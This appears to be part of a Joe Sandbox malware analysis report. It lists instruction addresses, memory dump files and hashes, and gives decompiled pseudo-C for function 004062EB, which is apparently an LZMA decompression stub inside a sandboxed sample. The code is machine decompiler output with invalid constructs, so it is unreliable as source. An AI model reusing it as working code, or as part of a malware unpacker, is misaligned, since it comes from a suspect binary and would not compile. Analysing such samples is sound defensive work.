0x004064e8
0x00406618
0x00406618
0x00406618
0x00406618
0x0040661b
0x0040661b
0x0040661e
0x00406620
0x004068aa
0x00000000
0x004068aa
0x00406626
0x00406629
0x00000000
0x00000000
0x0040662f
0x00406633
0x00406636
0x00406636
0x00406636
0x00000000
0x00406636
0x004064b4
0x004064b6
0x004064b8
0x004064ba
0x004064bd
0x004064be
0x004064c0
0x004064c2
0x004064c5
0x004064c8
0x004064de
0x004064e3
0x0040651b
0x0040651b
0x0040651f
0x0040654b
0x0040654d
0x00406554
0x00406557
0x0040655a
0x0040655a
0x0040655f
0x0040655f
0x00406561
0x00406564
0x0040656b
0x0040656e
0x0040659b
0x0040659b
0x0040659e
0x004065a1
0x00406615
0x00406615
0x00406615
0x00000000
0x00406615
0x004065a3
0x004065a9
0x004065ac
0x004065af
0x004065b2
0x004065b5
0x004065b8
0x004065bb
0x004065be
0x004065c1
0x004065c4
0x004065dd
0x004065df
0x004065e2
0x004065e3
0x004065e6
0x004065e8
0x004065eb
0x004065ed
0x004065ef
0x004065f2
0x004065f4
0x004065f7
0x004065fb
0x004065fd
0x004065fd
0x004065fe
0x00406601
0x00406604
0x004065c6
0x004065c6
0x004065ce
0x004065d3
0x004065d5
0x004065d8
0x004065d8
0x00406607
0x0040660e
0x00406598
0x00406598
0x00406598
0x00406598
0x00000000
0x00406610
0x00000000
0x00406610
0x0040660e
0x00406521
0x00406524
0x00406526
0x00406529
0x0040652c
0x0040652f
0x00406531
0x00406534
0x00406537
0x00406537
0x0040653a
0x0040653a
0x0040653d
0x00406544
0x00406518
0x00406518
0x00406518
0x00406518
0x00000000
0x00406546
0x00000000
0x00406546
0x00406544
0x004064ca
0x004064cd
0x004064cf
0x004064d2
0x00000000
0x00000000
0x00406231
0x00406231
0x00406235
0x0040687a
0x00000000
0x0040687a
0x0040623b
0x0040623e
0x00406241
0x00406244
0x00406247
0x0040624a
0x0040624d
0x0040624f
0x00406252
0x00406255
0x00406258
0x0040625a
0x0040625a
0x0040625a
0x00000000
0x00000000
0x004063bc
0x004063bc
0x004063c0
0x00406886
0x00000000
0x00406886
0x004063c6
0x004063c9
0x004063cc
0x004063cf
0x004063d1
0x004063d1
0x004063d1
0x004063d4
0x004063d7
0x004063da
0x004063dd
0x004063e0
0x004063e3
0x004063e4
0x004063e6
0x004063e6
0x004063e6
0x004063e9
0x004063ec
0x004063ef
0x004063f2
0x004063f2
0x004063f2
0x004063f5
0x004063f7
0x004063f7
0x00000000
0x00000000
0x00406639
0x00406639
0x00406639
0x0040663d
0x00000000
0x00000000
0x00406643
0x00406646
0x00406649
0x0040664c
0x0040664e
0x0040664e
0x0040664e
0x00406651
0x00406654
0x00406657
0x0040665a
0x0040665d
0x00406660
0x00406661
0x00406663
0x00406663
0x00406663
0x00406666
0x00406669
0x0040666c
0x0040666f
0x00406672
0x00406676
0x00406678
0x0040667b
0x00000000
0x0040667d
0x004063fa
0x004063fa
0x00000000
0x004063fa
0x0040667b
0x004068b0
0x004068d2
0x004068d8
0x004068da
0x004068e1
0x00000000
0x00000000
0x00405edf
0x004068e7
0x004068e7
0x00000000

Memory Dump Source

Source File: 00000004.00000002.465307477.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.465300422.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465317101.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465324475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465332520.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465357223.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465365833.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465373563.000000000042C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a6e2085cebcdfb89d44d763a6c8341743f8cc52be166a66f13966f2f3d4d66a2
Instruction ID: ba793bdfdeb6fca0581e378ecaac939fdd914989bdfd8c809e8e1c60c55c718d
Opcode Fuzzy Hash: a6e2085cebcdfb89d44d763a6c8341743f8cc52be166a66f13966f2f3d4d66a2
Instruction Fuzzy Hash: 90816972D04229DBDF24DFA8C844BAEBBB0FB44305F11816AD856B72C0C7785A86DF54

Uniqueness

Uniqueness Score: -1.00%

Function 004062EB Relevance: 5.2, APIs: 4, Instructions: 180
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E004062EB() {
				signed int _t539;
				unsigned short _t540;
				signed int _t541;
				void _t542;
				signed int _t543;
				signed int _t544;
				signed int _t573;
				signed int _t576;
				signed int _t597;
				signed int* _t614;
				void* _t621;

				L0:
				while(1) {
					L0:
					if( *(_t621 - 0x40) != 1) {
						 *((intOrPtr*)(_t621 - 0x80)) = 0x16;
						 *((intOrPtr*)(_t621 - 0x20)) =  *((intOrPtr*)(_t621 - 0x24));
						 *((intOrPtr*)(_t621 - 0x24)) =  *((intOrPtr*)(_t621 - 0x28));
						 *((intOrPtr*)(_t621 - 0x28)) =  *((intOrPtr*)(_t621 - 0x2c));
						 *(_t621 - 0x38) = ((0 |  *(_t621 - 0x38) - 0x00000007 >= 0x00000000) - 0x00000001 & 0x000000fd) + 0xa;
						_t539 =  *(_t621 - 4) + 0x664;
						 *(_t621 - 0x58) = _t539;
						goto L68;
					} else {
						 *(__ebp - 0x84) = 8;
						while(1) {
							L132:
							 *(_t621 - 0x54) = _t614;
							while(1) {
								L133:
								_t540 =  *_t614;
								_t597 = _t540 & 0x0000ffff;
								_t573 = ( *(_t621 - 0x10) >> 0xb) * _t597;
								if( *(_t621 - 0xc) >= _t573) {
									 *(_t621 - 0x10) =  *(_t621 - 0x10) - _t573;
									 *(_t621 - 0xc) =  *(_t621 - 0xc) - _t573;
									 *(_t621 - 0x40) = 1;
									_t541 = _t540 - (_t540 >> 5);
									 *_t614 = _t541;
								} else {
									 *(_t621 - 0x10) = _t573;
									 *(_t621 - 0x40) =  *(_t621 - 0x40) & 0x00000000;
									 *_t614 = (0x800 - _t597 >> 5) + _t540;
								}
								if( *(_t621 - 0x10) >= 0x1000000) {
									goto L139;
								}
								L137:
								if( *(_t621 - 0x6c) == 0) {
									 *(_t621 - 0x88) = 5;
									L170:
									_t576 = 0x22;
									memcpy( *(_t621 - 0x90), _t621 - 0x88, _t576 << 2);
									_t544 = 0;
									L172:
									return _t544;
								}
								 *(_t621 - 0x10) =  *(_t621 - 0x10) << 8;
								 *(_t621 - 0x6c) =  *(_t621 - 0x6c) - 1;
								 *(_t621 - 0x70) =  &(( *(_t621 - 0x70))[1]);
								 *(_t621 - 0xc) =  *(_t621 - 0xc) << 0x00000008 |  *( *(_t621 - 0x70)) & 0x000000ff;
								L139:
								_t542 =  *(_t621 - 0x84);
								while(1) {
									 *(_t621 - 0x88) = _t542;
									while(1) {
										L1:
										_t543 =  *(_t621 - 0x88);
										if(_t543 > 0x1c) {
											break;
										}
										switch( *((intOrPtr*)(_t543 * 4 +  &M004068EF))) {
											case 0:
												if( *(_t621 - 0x6c) == 0) {
													goto L170;
												}
												 *(_t621 - 0x6c) =  *(_t621 - 0x6c) - 1;
												 *(_t621 - 0x70) =  &(( *(_t621 - 0x70))[1]);
												_t543 =  *( *(_t621 - 0x70));
												if(_t543 > 0xe1) {
													goto L171;
												}
												_t547 = _t543 & 0x000000ff;
												_push(0x2d);
												asm("cdq");
												_pop(_t578);
												_push(9);
												_pop(_t579);
												_t617 = _t547 / _t578;
												_t549 = _t547 % _t578 & 0x000000ff;
												asm("cdq");
												_t612 = _t549 % _t579 & 0x000000ff;
												 *(_t621 - 0x3c) = _t612;
												 *(_t621 - 0x1c) = (1 << _t617) - 1;
												 *((intOrPtr*)(_t621 - 0x18)) = (1 << _t549 / _t579) - 1;
												_t620 = (0x300 << _t612 + _t617) + 0x736;
												if(0x600 ==  *((intOrPtr*)(_t621 - 0x78))) {
													L10:
													if(_t620 == 0) {
														L12:
														 *(_t621 - 0x48) =  *(_t621 - 0x48) & 0x00000000;
														 *(_t621 - 0x40) =  *(_t621 - 0x40) & 0x00000000;
														goto L15;
													} else {
														goto L11;
													}
													do {
														L11:
														_t620 = _t620 - 1;
														 *((short*)( *(_t621 - 4) + _t620 * 2)) = 0x400;
													} while (_t620 != 0);
													goto L12;
												}
												if( *(_t621 - 4) != 0) {
													GlobalFree( *(_t621 - 4));
												}
												_t543 = GlobalAlloc(0x40, 0x600); // executed
												 *(_t621 - 4) = _t543;
												if(_t543 == 0) {
													goto L171;
												} else {
													 *((intOrPtr*)(_t621 - 0x78)) = 0x600;
													goto L10;
												}
											case 1:
												L13:
												__eflags =  *(_t621 - 0x6c);
												if( *(_t621 - 0x6c) == 0) {
													 *(_t621 - 0x88) = 1;
													goto L170;
												}
												 *(_t621 - 0x6c) =  *(_t621 - 0x6c) - 1;
												 *(_t621 - 0x40) =  *(_t621 - 0x40) | ( *( *(_t621 - 0x70)) & 0x000000ff) <<  *(_t621 - 0x48) << 0x00000003;
												 *(_t621 - 0x70) =  &(( *(_t621 - 0x70))[1]);
												_t45 = _t621 - 0x48;
												 *_t45 =  *(_t621 - 0x48) + 1;
												__eflags =  *_t45;
												L15:
												if( *(_t621 - 0x48) < 4) {
													goto L13;
												}
												_t555 =  *(_t621 - 0x40);
												if(_t555 ==  *(_t621 - 0x74)) {
													L20:
													 *(_t621 - 0x48) = 5;
													 *( *(_t621 - 8) +  *(_t621 - 0x74) - 1) =  *( *(_t621 - 8) +  *(_t621 - 0x74) - 1) & 0x00000000;
													goto L23;
												}
												 *(_t621 - 0x74) = _t555;
												if( *(_t621 - 8) != 0) {
													GlobalFree( *(_t621 - 8));
												}
												_t543 = GlobalAlloc(0x40,  *(_t621 - 0x40)); // executed
												 *(_t621 - 8) = _t543;
												if(_t543 == 0) {
													goto L171;
												} else {
													goto L20;
												}
											case 2:
												L24:
												_t562 =  *(_t621 - 0x60) &  *(_t621 - 0x1c);
												 *(_t621 - 0x84) = 6;
												 *(_t621 - 0x4c) = _t562;
												_t614 =  *(_t621 - 4) + (( *(_t621 - 0x38) << 4) + _t562) * 2;
												goto L132;
											case 3:
												L21:
												__eflags =  *(_t621 - 0x6c);
												if( *(_t621 - 0x6c) == 0) {
													 *(_t621 - 0x88) = 3;
													goto L170;
												}
												 *(_t621 - 0x6c) =  *(_t621 - 0x6c) - 1;
												_t67 = _t621 - 0x70;
												 *_t67 =  &(( *(_t621 - 0x70))[1]);
												__eflags =  *_t67;
												 *(_t621 - 0xc) =  *(_t621 - 0xc) << 0x00000008 |  *( *(_t621 - 0x70)) & 0x000000ff;
												L23:
												 *(_t621 - 0x48) =  *(_t621 - 0x48) - 1;
												if( *(_t621 - 0x48) != 0) {
													goto L21;
												}
												goto L24;
											case 4:
												L133:
												_t540 =  *_t614;
												_t597 = _t540 & 0x0000ffff;
												_t573 = ( *(_t621 - 0x10) >> 0xb) * _t597;
												if( *(_t621 - 0xc) >= _t573) {
													 *(_t621 - 0x10) =  *(_t621 - 0x10) - _t573;
													 *(_t621 - 0xc) =  *(_t621 - 0xc) - _t573;
													 *(_t621 - 0x40) = 1;
													_t541 = _t540 - (_t540 >> 5);
													 *_t614 = _t541;
												} else {
													 *(_t621 - 0x10) = _t573;
													 *(_t621 - 0x40) =  *(_t621 - 0x40) & 0x00000000;
													 *_t614 = (0x800 - _t597 >> 5) + _t540;
												}
												if( *(_t621 - 0x10) >= 0x1000000) {
													goto L139;
												}
											case 5:
												goto L137;
											case 6:
												__edx = 0;
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 4);
													__ecx =  *(__ebp - 0x38);
													 *(__ebp - 0x34) = 1;
													 *(__ebp - 0x84) = 7;
													__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
													L132:
													 *(_t621 - 0x54) = _t614;
													goto L133;
												}
												__eax =  *(__ebp - 0x5c) & 0x000000ff;
												__esi =  *(__ebp - 0x60);
												__cl = 8;
												__cl = 8 -  *(__ebp - 0x3c);
												__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
												__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
												__ecx =  *(__ebp - 0x3c);
												__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
												__ecx =  *(__ebp - 4);
												(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
												__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
												__eflags =  *(__ebp - 0x38) - 4;
												__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
												 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
												if( *(__ebp - 0x38) >= 4) {
													__eflags =  *(__ebp - 0x38) - 0xa;
													if( *(__ebp - 0x38) >= 0xa) {
														_t98 = __ebp - 0x38;
														 *_t98 =  *(__ebp - 0x38) - 6;
														__eflags =  *_t98;
													} else {
														 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
													}
												} else {
													 *(__ebp - 0x38) = 0;
												}
												__eflags =  *(__ebp - 0x34) - __edx;
												if( *(__ebp - 0x34) == __edx) {
													__ebx = 0;
													__ebx = 1;
													goto L61;
												} else {
													__eax =  *(__ebp - 0x14);
													__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
													__eflags = __eax -  *(__ebp - 0x74);
													if(__eax >=  *(__ebp - 0x74)) {
														__eax = __eax +  *(__ebp - 0x74);
														__eflags = __eax;
													}
													__ecx =  *(__ebp - 8);
													__ebx = 0;
													__ebx = 1;
													__al =  *((intOrPtr*)(__eax + __ecx));
													 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
													goto L41;
												}
											case 7:
												goto L0;
											case 8:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 4);
													__ecx =  *(__ebp - 0x38);
													 *(__ebp - 0x84) = 0xa;
													__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
												} else {
													__eax =  *(__ebp - 0x38);
													__ecx =  *(__ebp - 4);
													__eax =  *(__ebp - 0x38) + 0xf;
													 *(__ebp - 0x84) = 9;
													 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
													__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
												}
												while(1) {
													L132:
													 *(_t621 - 0x54) = _t614;
													goto L133;
												}
											case 9:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													goto L89;
												}
												__eflags =  *(__ebp - 0x60);
												if( *(__ebp - 0x60) == 0) {
													goto L171;
												}
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												_t258 =  *(__ebp - 0x38) - 7 >= 0;
												__eflags = _t258;
												0 | _t258 = _t258 + _t258 + 9;
												 *(__ebp - 0x38) = _t258 + _t258 + 9;
												goto L75;
											case 0xa:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 4);
													__ecx =  *(__ebp - 0x38);
													 *(__ebp - 0x84) = 0xb;
													__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
													while(1) {
														L132:
														 *(_t621 - 0x54) = _t614;
														goto L133;
													}
												}
												__eax =  *(__ebp - 0x28);
												goto L88;
											case 0xb:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__ecx =  *(__ebp - 0x24);
													__eax =  *(__ebp - 0x20);
													 *(__ebp - 0x20) =  *(__ebp - 0x24);
												} else {
													__eax =  *(__ebp - 0x24);
												}
												__ecx =  *(__ebp - 0x28);
												 *(__ebp - 0x24) =  *(__ebp - 0x28);
												L88:
												__ecx =  *(__ebp - 0x2c);
												 *(__ebp - 0x2c) = __eax;
												 *(__ebp - 0x28) =  *(__ebp - 0x2c);
												L89:
												__eax =  *(__ebp - 4);
												 *(__ebp - 0x80) = 0x15;
												__eax =  *(__ebp - 4) + 0xa68;
												 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
												goto L68;
											case 0xc:
												L99:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xc;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t334 = __ebp - 0x70;
												 *_t334 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t334;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												__eax =  *(__ebp - 0x2c);
												goto L101;
											case 0xd:
												L37:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xd;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t122 = __ebp - 0x70;
												 *_t122 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t122;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												L39:
												__eax =  *(__ebp - 0x40);
												__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
												if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
													goto L48;
												}
												__eflags = __ebx - 0x100;
												if(__ebx >= 0x100) {
													goto L54;
												}
												L41:
												__eax =  *(__ebp - 0x5b) & 0x000000ff;
												 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
												__ecx =  *(__ebp - 0x58);
												__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
												 *(__ebp - 0x48) = __eax;
												__eax = __eax + 1;
												__eax = __eax << 8;
												__eax = __eax + __ebx;
												__esi =  *(__ebp - 0x58) + __eax * 2;
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
												__ax =  *__esi;
												 *(__ebp - 0x54) = __esi;
												__edx = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													 *(__ebp - 0x40) = 1;
													__cx = __ax >> 5;
													__eflags = __eax;
													__ebx = __ebx + __ebx + 1;
													 *__esi = __ax;
												} else {
													 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edx;
													0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
													__ebx = __ebx + __ebx;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0x10) >= 0x1000000) {
													goto L39;
												} else {
													goto L37;
												}
											case 0xe:
												L46:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xe;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t156 = __ebp - 0x70;
												 *_t156 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t156;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												while(1) {
													L48:
													__eflags = __ebx - 0x100;
													if(__ebx >= 0x100) {
														break;
													}
													__eax =  *(__ebp - 0x58);
													__edx = __ebx + __ebx;
													__ecx =  *(__ebp - 0x10);
													__esi = __edx + __eax;
													__ecx =  *(__ebp - 0x10) >> 0xb;
													__ax =  *__esi;
													 *(__ebp - 0x54) = __esi;
													__edi = __ax & 0x0000ffff;
													__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
													__eflags =  *(__ebp - 0xc) - __ecx;
													if( *(__ebp - 0xc) >= __ecx) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
														 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
														__cx = __ax;
														_t170 = __edx + 1; // 0x1
														__ebx = _t170;
														__cx = __ax >> 5;
														__eflags = __eax;
														 *__esi = __ax;
													} else {
														 *(__ebp - 0x10) = __ecx;
														0x800 = 0x800 - __edi;
														0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
														__ebx = __ebx + __ebx;
														 *__esi = __cx;
													}
													__eflags =  *(__ebp - 0x10) - 0x1000000;
													 *(__ebp - 0x44) = __ebx;
													if( *(__ebp - 0x10) >= 0x1000000) {
														continue;
													} else {
														goto L46;
													}
												}
												L54:
												_t173 = __ebp - 0x34;
												 *_t173 =  *(__ebp - 0x34) & 0x00000000;
												__eflags =  *_t173;
												goto L55;
											case 0xf:
												L58:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xf;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t203 = __ebp - 0x70;
												 *_t203 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t203;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												L60:
												__eflags = __ebx - 0x100;
												if(__ebx >= 0x100) {
													L55:
													__al =  *(__ebp - 0x44);
													 *(__ebp - 0x5c) =  *(__ebp - 0x44);
													goto L56;
												}
												L61:
												__eax =  *(__ebp - 0x58);
												__edx = __ebx + __ebx;
												__ecx =  *(__ebp - 0x10);
												__esi = __edx + __eax;
												__ecx =  *(__ebp - 0x10) >> 0xb;
												__ax =  *__esi;
												 *(__ebp - 0x54) = __esi;
												__edi = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													_t217 = __edx + 1; // 0x1
													__ebx = _t217;
													__cx = __ax >> 5;
													__eflags = __eax;
													 *__esi = __ax;
												} else {
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edi;
													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
													__ebx = __ebx + __ebx;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0x10) >= 0x1000000) {
													goto L60;
												} else {
													goto L58;
												}
											case 0x10:
												L109:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0x10;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t365 = __ebp - 0x70;
												 *_t365 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t365;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												goto L111;
											case 0x11:
												L68:
												_t614 =  *(_t621 - 0x58);
												 *(_t621 - 0x84) = 0x12;
												while(1) {
													L132:
													 *(_t621 - 0x54) = _t614;
													goto L133;
												}
											case 0x12:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 0x58);
													 *(__ebp - 0x84) = 0x13;
													__esi =  *(__ebp - 0x58) + 2;
													while(1) {
														L132:
														 *(_t621 - 0x54) = _t614;
														goto L133;
													}
												}
												__eax =  *(__ebp - 0x4c);
												 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
												__ecx =  *(__ebp - 0x58);
												__eax =  *(__ebp - 0x4c) << 4;
												__eflags = __eax;
												__eax =  *(__ebp - 0x58) + __eax + 4;
												goto L130;
											case 0x13:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													_t469 = __ebp - 0x58;
													 *_t469 =  *(__ebp - 0x58) + 0x204;
													__eflags =  *_t469;
													 *(__ebp - 0x30) = 0x10;
													 *(__ebp - 0x40) = 8;
													L144:
													 *(__ebp - 0x7c) = 0x14;
													goto L145;
												}
												__eax =  *(__ebp - 0x4c);
												__ecx =  *(__ebp - 0x58);
												__eax =  *(__ebp - 0x4c) << 4;
												 *(__ebp - 0x30) = 8;
												__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
												L130:
												 *(__ebp - 0x58) = __eax;
												 *(__ebp - 0x40) = 3;
												goto L144;
											case 0x14:
												 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
												__eax =  *(__ebp - 0x80);
												 *(_t621 - 0x88) = _t542;
												goto L1;
											case 0x15:
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
												__al = __al & 0x000000fd;
												__eax = (__eflags >= 0) - 1 + 0xb;
												 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
												goto L120;
											case 0x16:
												__eax =  *(__ebp - 0x30);
												__eflags = __eax - 4;
												if(__eax >= 4) {
													_push(3);
													_pop(__eax);
												}
												__ecx =  *(__ebp - 4);
												 *(__ebp - 0x40) = 6;
												__eax = __eax << 7;
												 *(__ebp - 0x7c) = 0x19;
												 *(__ebp - 0x58) = __eax;
												goto L145;
											case 0x17:
												L145:
												__eax =  *(__ebp - 0x40);
												 *(__ebp - 0x50) = 1;
												 *(__ebp - 0x48) =  *(__ebp - 0x40);
												goto L149;
											case 0x18:
												L146:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0x18;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t484 = __ebp - 0x70;
												 *_t484 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t484;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												L148:
												_t487 = __ebp - 0x48;
												 *_t487 =  *(__ebp - 0x48) - 1;
												__eflags =  *_t487;
												L149:
